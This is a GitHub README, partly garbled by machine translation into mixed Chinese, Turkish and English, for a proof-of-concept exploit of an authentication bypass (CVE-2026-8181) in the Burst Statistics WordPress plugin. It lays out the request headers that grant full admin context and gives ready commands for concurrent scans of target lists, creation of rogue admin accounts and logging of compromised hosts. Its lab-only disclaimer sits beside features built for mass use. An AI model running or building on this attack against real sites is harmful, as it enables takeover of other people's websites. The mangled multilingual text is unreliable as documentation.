murrez/CVE-2026-8181

GitHub: murrez/CVE-2026-8181

针对 WordPress Burst Statistics 插件认证绕过漏洞(CVE-2026-8181)的 PoC 工具,支持批量并发扫描、提权验证与多种报告输出模式。

Stars: 0 | Forks: 0

Typing intro EN
Typing intro TR
Tagline EN/TR

CVE CVSS WP Python

EN: Controlled PoC and brief technical notes for authorized security testing of the authentication bypass in Burst Statistics.

TR: Burst Statistics eklentisindeki kimlik doğrulama atlatası için yetkili güvenlik testi amaçlı kontrollü PoC ve kısa teknik özet.

## 项目概述 / Proje özeti ### 英语 | 字段 | 详情 | |:---:|:---| | **漏洞类型** | [Burst Statistics](https://wordpress.org/plugins/burst-statistics/) 中的**身份验证绕过** (CWE-287):精心构造的请求头可将 REST 请求提升至**完整管理员上下文**。 | | **受影响版本** | **受影响:** `3.4.0`、`3.4.1`、`3.4.1.1` · **请使用:** **`3.4.2` 或更高版本** | | **严重程度** | CVSS ~9.8 (严重);在适用条件下可远程、未经身份验证利用。 | | **本仓库** | `CVE-2026-8181.py` — 实验室自动化工具:单目标、批量列表、线程池、选择性 TXT 输出。 | ### 土耳其语 | Alan | Detay | |:---:|:---| | **Ne** | [Burst Statistics](https://wordpress.org/plugins/burst-statistics/) için **kimlik doğrulama atlatası** (CWE-287). Özel başlıklar ile REST isteğinde **tam yönetici bağlamı**. | | **Sürüm** | **Etkilenir:** `3.4.0`, `3.4.1`, `3.4.1.1` · **Önerilir:** **`3.4.2` ve üzeri** | | **Ciddiyet** | CVSS ~9.8 (Critical); uygun koşullarda uzaktan ve kimlik gerektirmeden. | | **Bu depo** | `CVE-2026-8181.py` — lab otomasyonu: tek hedef, liste taraması, iş parçacığı havuzu, seçici TXT çıktısı. | ## 视觉素材 / Dokümantasyon görselleri ### 英语 GitHub 风格的 Markdown 在仓库中没有文件的情况下无法嵌入二进制 **GIF**。上方的 **Typing SVG** 代码片段(通过 CDN 加载)模拟了动态效果。要添加您自己的屏幕截图,请执行: ``` ![Lab demo](https://raw.githubusercontent.com/murrez/CVE-2026-8181/main/assets/demo.gif) ``` ### 土耳其语 GitHub Markdown, repoda dosya olmadan **GIF** gömmeyi desteklemez. Üstteki **Typing SVG** (CDN) yazı animasyonu verir. Kendi demosun için: ``` ![Lab demo](https://raw.githubusercontent.com/murrez/CVE-2026-8181/main/assets/demo.gif) ``` ## 攻击链 (Mermaid) / Saldırı zinciri ### 英语 — 图表标签 ``` flowchart LR A[Client request] --> B[X-BURSTMAINWP: 1] A --> C[Authorization: Basic] B --> D[plugins_loaded] D --> E[is_mainwp_authenticated] E --> F{wp_authenticate_application_password == null?} F -->|Mis-handled branch| G[get_user_by login] G --> H[wp_set_current_user] H --> I[REST: full admin context] ``` ### 土耳其语 — 同样的流程 ``` flowchart LR A[İstek] --> B[X-BURSTMAINWP: 1] A --> C[Authorization: Basic] B --> D[plugins_loaded] D --> E[is_mainwp_authenticated] E --> F{wp_authenticate_application_password == null?} F -->|Yanlış dal| G[get_user_by login] G --> H[wp_set_current_user] H --> I[REST: tam admin bağlamı] ``` ## 工具功能 / Araç yetenekleri ### 英语 | 功能 | 描述 | |--------|-------------| | **单目标** | `-u` 基础 URL | | **批量目标** | `-f targets.txt`(每行一个 URL;`#` 为注释) | | **并发** | `-j N` 工作线程(有上限) | | **合并文件** | `-o file.txt` — 与 `-f` 一起使用时,**仅追加成功的漏洞利用结果** | | **按主机分类文件** | `--output-dir` — **仅成功的主机**会生成 `host.txt`(失败的被跳过) | | **新建管理员** | `--create-user` — 通过 REST 创建随机用户(密码随后会显示在报告中) | | **TLS (实验室)** | `-k` 禁用证书验证(仅限受信任的实验室环境) | 与 `-f` 一起使用时,**`-o` 和 `--output-dir` 是互斥的。** ### 土耳其语 | Özellik | Açıklama | |--------|-----------| | **Tek hedef** | `-u` kök adres | | **Çoklu hedef** | `-f targets.txt` (satır başına URL; `#` yorumu) | | **Paralellik** | `-j N` işçi (üst sınırlı) | | **Tek dosya** | `-o dosya.txt` — `-f` ile **yalnızca başarılı exploit** eklenir | | **Klasör çıktısı** | `--output-dir` — **sadece başarılılar** `host.txt` alır | | **Yeni admin** | `--create-user` — REST ile rastgele kullanıcı (şifre raporda) | | **TLS (lab)** | `-k` sertifika doğrulamasını kapatır (yalnızca güvenilir lab) | `-f` modunda **`-o` ile `--output-dir` aynı anda kullanılamaz.** ## 安装 / Kurulum ``` pip3 install requests urllib3 ``` ## 使用示例 / Kullanım örnekleri ### 英语 ``` # 单站点,报告文件 python3 CVE-2026-8181.py -u http://lab.local -U admin -o report.txt -k # 单站点 + 新管理员(实验) python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o report.txt -k # 批量 + 合并文件(仅限成功) python3 CVE-2026-8181.py -f targets.txt -j 20 -o successes.txt -k # 批量 + 文件夹中按主机划分的文件(仅限成功) python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k ``` ### 土耳其语 ``` # Tek 站点, rapor python3 CVE-2026-8181.py -u http://lab.local -U admin -o sonuc.txt -k # Tek 站点 + yeni 管理员 (lab) python3 CVE-2026-8181.py -u http://lab.local -U admin --create-user -o sonuc.txt -k # Çoklu + birleşik 文件 (yalnızca 成功) python3 CVE-2026-8181.py -f targets.txt -j 20 -o basarili.txt -k # Çoklu + klasörde 按 站点 文件 (yalnızca 成功) python3 CVE-2026-8181.py -f targets.txt -j 20 --output-dir ./results -k ``` ## 空的 `Password:` 字段 / Boş parola satırı ### 英语 成功的绕过**不会泄露受害用户的真实密码** —— PoC 中的 Basic 密码是**伪造的**。除非使用 **`--create-user`** 创建了**新**账户(在这种情况下会写入生成的密码),否则 `Password:` 行将保持为空。 ### 土耳其语 Başarılı bypass **mevcut kullanıcının gerçek parolasını sızdırmaz** — PoC’taki Basic parola **sahtedir**. `Password:` satırı **`--create-user`** ile **yeni** hesap oluşturulmadıkça boş kalır; oluşturulduysa üretilen şifre yazılır. ## 参考资料 / Kaynaklar ### 英语 - [Burst Statistics — WordPress 插件目录](https://wordpress.org/plugins/burst-statistics/) - 在协调披露中常被引用:**Wordfence Threat Intelligence**、**PRISM** - CVE: [MITRE CVE-2026-8181](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8181) · [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-8181) ### 土耳其语 - [Burst Statistics — WordPress eklenti dizini](https://wordpress.org/plugins/burst-statistics/) - Koordineli açıklamada sık geçen: **Wordfence Threat Intelligence**, **PRISM** - CVE: [MITRE CVE-2026-8181](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-8181) · [NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-8181) ## 免责声明 / Feragatname ### 英语 仅适用于**获得书面授权的**评估和**您自己的实验室**。在许多司法管辖区,未经授权的使用是违法的。作者及本 README 的维护者对滥用行为**不承担任何责任**。 ### 土耳其语 **Yazılı izinli** değerlendirmeler ve **kendi laboratuvarınız** içindir. İzinsiz kullanım birçok ülkede **yasadışıdır**. Yazarlar ve bu README’nin düzenleyicisi kötüye kullanımdan **sorumlu değildir**.
标签:Burst Statistics, CISA项目, CVE-2026-8181, CVSS 9.8, GitHub Advanced Security, Maven, PoC, Python, TXT报告, Web安全, Wordfence, WordPress插件, 多线程扫描, 安全加固, 授权测试, 数据展示, 无后门, 暴力破解, 漏洞验证, 红队, 网络安全, 蓝队分析, 身份验证绕过, 隐私保护, 高危漏洞